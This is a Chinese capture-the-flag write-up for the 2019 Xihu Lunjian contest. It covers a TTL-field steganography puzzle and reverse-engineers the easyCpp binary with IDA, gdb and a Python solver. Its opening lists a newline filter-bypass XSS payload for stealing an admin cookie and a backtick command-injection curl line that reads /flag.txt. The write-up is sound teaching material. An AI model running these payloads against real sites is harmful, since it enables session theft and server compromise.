2019西湖论剑部分wp
by wqpw
web环境关了…
第一个是储存型XSS,可以换行绕过过滤,然后打管理员cookie.
<img src=x onerror
=alert(1)>
然后有一个无回显的命令执行,想到用curl
curl -X GET -i 'http://ip/index.php?`cat /flag.txt`
一个是简单的LFI漏洞利用.
还有一个是.DS_Store泄露和.git泄露及zip已知明文攻击加php伪随机数漏洞.
还有一个Google CTF原题.
(其实搞出前两个…)
主要记下差点做出来的2个题. 题目文件
奇怪的TTL字段
题目描述:
我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL值提取了出来,你能看出什么端倪吗?
统计后发现只有63,127,191,255四个数,猜测对应00,01,10,11.
处理好进行转换然后放16进制编辑器里,变成这样:
然后分析下这个新的文件,发现是六张图片.
然后再用foremost等工具处理一下,得到一张完整的图片.
扫码得到
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}
用http://rumkin.com/tools/cipher/vigenere-autokey.php输入key和密文得到flag.
easyCpp
ida+f5看了看,用的全是标准库的函数,所以不难.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // r15
__int64 v4; // rdx
__int64 v5; // rdx
__int64 v6; // rdx
__int64 v7; // rdx
__int64 v8; // r12
__int64 v9; // rbx
__int64 v10; // rax
__int64 v11; // rdx
__int64 v12; // rbx
__int64 v13; // rax
__int64 v14; // r8
__int64 v15; // r9
__int64 v16; // rbx
char v17; // al
unsigned int *v18; // rax
const char **v20; // [rsp+0h] [rbp-190h]
signed int i; // [rsp+1Ch] [rbp-174h]
signed int j; // [rsp+20h] [rbp-170h]
char v23; // [rsp+30h] [rbp-160h]
char v24; // [rsp+50h] [rbp-140h]
char v25; // [rsp+70h] [rbp-120h]
char v26; // [rsp+90h] [rbp-100h]
char v27; // [rsp+B0h] [rbp-E0h]
__int64 v28; // [rsp+D0h] [rbp-C0h]
__int64 v29; // [rsp+F0h] [rbp-A0h]
char v30[72]; // [rsp+110h] [rbp-80h]
unsigned __int64 v31; // [rsp+158h] [rbp-38h]
v20 = argv;
v31 = __readfsqword(0x28u);
std::vector<int,std::allocator<int>>::vector(&v23, argv, envp);
std::vector<int,std::allocator<int>>::vector(&v24, argv, v4);
std::vector<int,std::allocator<int>>::vector(&v25, argv, v5);
std::vector<int,std::allocator<int>>::vector(&v26, argv, v6);
std::vector<int,std::allocator<int>>::vector(&v27, argv, v7);
for ( i = 0; i <= 15; ++i )
{
scanf("%d", &v30[4 * i], v20);
std::vector<int,std::allocator<int>>::push_back((__int64)&v24, (__int64)&v30[4 * i]);
} //scanf读入16个数 在数组v[30]和vector v24中
for ( j = 0; j <= 15; ++j )
{
LODWORD(v29) = fib(j);
std::vector<int,std::allocator<int>>::push_back(&v23, &v29);
} //v23存入前16个斐波拉契数
std::vector<int,std::allocator<int>>::push_back((__int64)&v25, (__int64)v30); //v25.push_back(v30[0])
v8 = std::back_inserter<std::vector<int,std::allocator<int>>>(&v25); //vector<int>::iterator v8 = &v25
v9 = std::vector<int,std::allocator<int>>::end(&v24); //v9 = v24.end()
v29 = std::vector<int,std::allocator<int>>::begin(&v24); //v29 = v24.begin()
v10 = __gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>::operator+(&v29, 1LL); //v10 = v29+1
std::transform<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::back_insert_iterator<std::vector<int,std::allocator<int>>>,main::{lambda(int)#1}>(
v10, //从v24.begin() + 1
v9, //到v24.end() 即从第二个到最后一个
v8, //按push_back顺序存入v25
(__int64)v30); //main::{lambda(int)#1}的参数之一 相当于对v24第二个到最后一个元素调用main::{lambda(int)#1}
/*
参考 https://blog.csdn.net/jerryjbiao/article/details/7523110
*/
......
transform调用的匿名函数:
__int64 __fastcall main::{lambda(int)#1}::operator() const(_DWORD **a1, int a2)
{
return (unsigned int)(**a1 + a2);
}
所以v24是{1,2,3,…,16}的话,现在v25就是{1,3,4,…,17}
接着是
std::vector<int,std::allocator<int>>::vector(&v28, v9, v11);
v12 = std::vector<int,std::allocator<int>>::end(&v25);
v13 = std::vector<int,std::allocator<int>>::begin(&v25);
std::accumulate<__gnu_cxx::__normal_iterator<int *,std::vector<int,std::allocator<int>>>,std::vector<int,std::allocator<int>>,main::{lambda(std::vector<int,std::allocator<int>>,int)#2}>(
(__int64)&v29, // [rbp-A0h]
v13,
v12,
(__int64)&v28,
v14,
v15,
v3);
看了很久也没看懂accumulate
和main::{lambda(std::vector<int,std::allocator<int>>,int)#2}
干了什么……
所以先看看后面的
std::vector<int,std::allocator<int>>::operator=(&v26, &v29); //v26 = v29
std::vector<int,std::allocator<int>>::~vector(&v29);
std::vector<int,std::allocator<int>>::~vector(&v28);
if ( (unsigned __int8)std::operator!=<int,std::allocator<int>>(&v26, &v23) )
{ //比较v26和v23(前16个斐波拉契数)是否全部相等
puts("You failed!");
exit(0);
}
//下面就是输出flag
//略
所以尝试动态分析,研究v29发生了什么变化.
linux下用gdb加载程序,输入layout asm查看汇编代码,在调用accumulate的指令上下下断点.
然后运行并输入1-16,到断点1时查看v29
由前面可知$rbp-0xa0
的值v29是v24.begin()的值,是地址.
然后执行accumulate之后:
可知是把transform后的v25反转一下.
大概是这个意思reverse(v25.begin(),v25.end());v29=v25;
然后v26=v29并且比较v26和v23.
综上,我们需要16个数,满足从第二个数到最后一个数加上第一个数然后反转之后与前16个斐波拉契数一一对应.
于是我们可以写个脚本算一下
def fib(n):
if n == 0 or n == 1:
return 1
return fib(n-2)+fib(n-1)
v23 = [fib(i) for i in range(0,16)][::-1]
v23[1:] = map(lambda x: x-v23[0], v23[1:])
print str(v23).replace(', ','\n')
结果正确
总结
七分逆向三分猜
区分代码(人?编译器?)
耐心